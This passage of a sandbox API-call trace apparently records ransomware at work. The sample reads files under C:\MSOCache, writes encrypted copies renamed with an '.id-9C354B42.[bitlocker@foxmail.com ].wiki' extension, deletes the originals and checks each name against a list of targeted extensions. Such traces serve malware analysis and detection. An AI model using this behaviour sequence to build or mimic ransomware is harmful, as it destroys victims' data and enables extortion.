nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0057.163] SetEndOfFile (hFile=0x1f0) returned 1 [0058.096] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0058.099] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.099] WriteFile (in: hFile=0x1f0, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.100] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.100] WriteFile (in: hFile=0x1f0, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.102] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.102] WriteFile (in: hFile=0x1f0, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.104] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0058.104] CloseHandle (hObject=0x1f0) returned 1 [0058.104] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.105] lstrlenW (lpString=".doc") returned 4 [0058.105] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.105] lstrlenW (lpString=".docx") returned 5 [0058.105] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0058.105] lstrlenW (lpString=".pdf") returned 4 [0058.105] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.105] lstrlenW (lpString=".xls") returned 4 [0058.105] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.105] lstrlenW (lpString=".xlsx") returned 5 [0058.105] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0058.105] lstrlenW (lpString=".ppt") returned 4 [0058.105] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.105] lstrlenW (lpString=".zip") returned 4 [0058.105] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.105] lstrlenW (lpString=".rar") returned 4 [0058.105] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.105] lstrlenW (lpString=".bz2") returned 4 [0058.105] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.105] lstrlenW (lpString=".7z") returned 3 [0058.105] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.105] lstrlenW (lpString=".dbf") returned 4 [0058.105] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.105] lstrlenW (lpString=".1cd") returned 4 [0058.105] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.105] lstrlenW (lpString=".jpg") returned 4 [0058.106] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.106] lstrlenW (lpString=".doc") returned 4 [0058.106] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString=".docx") returned 5 [0058.106] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0058.106] lstrlenW (lpString=".pdf") returned 4 [0058.106] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString=".xls") returned 4 [0058.106] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString=".xlsx") returned 5 [0058.106] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0058.106] lstrlenW (lpString=".ppt") returned 4 [0058.106] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.106] lstrlenW (lpString=".zip") returned 4 [0058.106] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString=".rar") returned 4 [0058.106] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString=".bz2") returned 4 [0058.106] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.106] lstrlenW (lpString=".7z") returned 3 [0058.106] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.106] lstrlenW (lpString=".dbf") returned 4 [0058.106] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.106] lstrlenW (lpString=".1cd") returned 4 [0058.106] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0058.106] lstrlenW (lpString=".jpg") returned 4 [0058.106] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.107] lstrcmpiW (lpString1=".xrm-ms", lpString2=".wiki") returned 1 [0058.107] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0058.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.544] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=715834) returned 1 [0058.544] CloseHandle (hObject=0x214) returned 1 [0058.552] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0058.563] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.564] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.564] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.564] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.564] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.564] GetLastError () returned 0x0 [0058.564] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0058.578] WriteFile (in: hFile=0x180, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0058.637] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.637] WriteFile (in: hFile=0x180, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x104, lpOverlapped=0x0) returned 1 [0058.637] SetEndOfFile (hFile=0x180) returned 1 [0058.637] CloseHandle (hObject=0x180) returned 1 [0058.637] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.637] SetEndOfFile (hFile=0x214) returned 1 [0058.643] CloseHandle (hObject=0x214) returned 1 [0058.643] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.643] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0058.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.643] lstrlenW (lpString=".doc") returned 4 [0058.643] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0058.643] lstrlenW (lpString=".docx") returned 5 [0058.643] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0058.643] lstrlenW (lpString=".pdf") returned 4 [0058.643] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0058.643] lstrlenW (lpString=".xls") returned 4 [0058.644] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString=".xlsx") returned 5 [0058.644] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0058.644] lstrlenW (lpString=".ppt") returned 4 [0058.644] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.644] lstrlenW (lpString=".zip") returned 4 [0058.644] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString=".rar") returned 4 [0058.644] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString=".bz2") returned 4 [0058.644] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString=".7z") returned 3 [0058.644] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0058.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.644] lstrlenW (lpString=".dbf") returned 4 [0058.644] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.644] lstrlenW (lpString=".1cd") returned 4 [0058.644] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.644] lstrlenW (lpString=".jpg") returned 4 [0058.644] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.644] lstrlenW (lpString=".doc") returned 4 [0058.644] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString=".docx") returned 5 [0058.644] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0058.644] lstrlenW (lpString=".pdf") returned 4 [0058.644] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString=".xls") returned 4 [0058.644] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0058.644] lstrlenW (lpString=".xlsx") returned 5 [0058.644] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0058.645] lstrlenW (lpString=".ppt") returned 4 [0058.645] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0058.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.645] lstrlenW (lpString=".zip") returned 4 [0058.645] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0058.645] lstrlenW (lpString=".rar") returned 4 [0058.645] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0058.645] lstrlenW (lpString=".bz2") returned 4 [0058.645] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0058.645] lstrlenW (lpString=".7z") returned 3 [0058.645] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0058.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.645] lstrlenW (lpString=".dbf") returned 4 [0058.645] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0058.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.645] lstrlenW (lpString=".1cd") returned 4 [0058.645] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0058.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.645] lstrlenW (lpString=".jpg") returned 4 [0058.645] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0058.645] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0058.645] lstrlenW (lpString="setup.exe") returned 9 [0058.645] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.645] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1377656) returned 1 [0058.646] CloseHandle (hObject=0x214) returned 1 [0058.646] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0058.646] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.646] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.646] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.646] GetLastError () returned 0x0 [0058.646] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.884] WriteFile (in: hFile=0x180, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0058.901] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x50588, lpOverlapped=0x0) returned 1 [0058.914] WriteFile (in: hFile=0x180, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0058.922] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.922] WriteFile (in: hFile=0x180, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.922] SetEndOfFile (hFile=0x180) returned 1 [0058.922] CloseHandle (hObject=0x180) returned 1 [0058.923] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.923] SetEndOfFile (hFile=0x214) returned 1 [0058.926] CloseHandle (hObject=0x214) returned 1 [0058.926] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.926] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0058.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.926] lstrlenW (lpString=".doc") returned 4 [0058.926] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.926] lstrlenW (lpString=".docx") returned 5 [0058.926] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0058.926] lstrlenW (lpString=".pdf") returned 4 [0058.926] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.926] lstrlenW (lpString=".xls") returned 4 [0058.926] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.926] lstrlenW (lpString=".xlsx") returned 5 [0058.926] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0058.926] lstrlenW (lpString=".ppt") returned 4 [0058.926] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.927] lstrlenW (lpString=".zip") returned 4 [0058.927] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.927] lstrlenW (lpString=".rar") returned 4 [0058.927] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.927] lstrlenW (lpString=".bz2") returned 4 [0058.927] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.927] lstrlenW (lpString=".7z") returned 3 [0058.927] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.927] lstrlenW (lpString=".dbf") returned 4 [0058.927] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.927] lstrlenW (lpString=".1cd") returned 4 [0058.927] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.927] lstrlenW (lpString=".jpg") returned 4 [0058.927] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.927] lstrlenW (lpString=".doc") returned 4 [0058.927] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.927] lstrlenW (lpString=".docx") returned 5 [0058.927] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0058.927] lstrlenW (lpString=".pdf") returned 4 [0058.927] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.927] lstrlenW (lpString=".xls") returned 4 [0058.927] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.927] lstrlenW (lpString=".xlsx") returned 5 [0058.927] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0058.927] lstrlenW (lpString=".ppt") returned 4 [0058.927] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.927] lstrlenW (lpString=".zip") returned 4 [0058.928] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.928] lstrlenW (lpString=".rar") returned 4 [0058.928] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.928] lstrlenW (lpString=".bz2") returned 4 [0058.928] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.928] lstrlenW (lpString=".7z") returned 3 [0058.928] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.928] lstrlenW (lpString=".dbf") returned 4 [0058.928] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.928] lstrlenW (lpString=".1cd") returned 4 [0058.928] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.928] lstrlenW (lpString=".jpg") returned 4 [0058.928] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.928] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0058.928] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0058.928] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0059.047] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=36233052) returned 1 [0059.047] CloseHandle (hObject=0x224) returned 1 [0059.047] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0059.047] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: 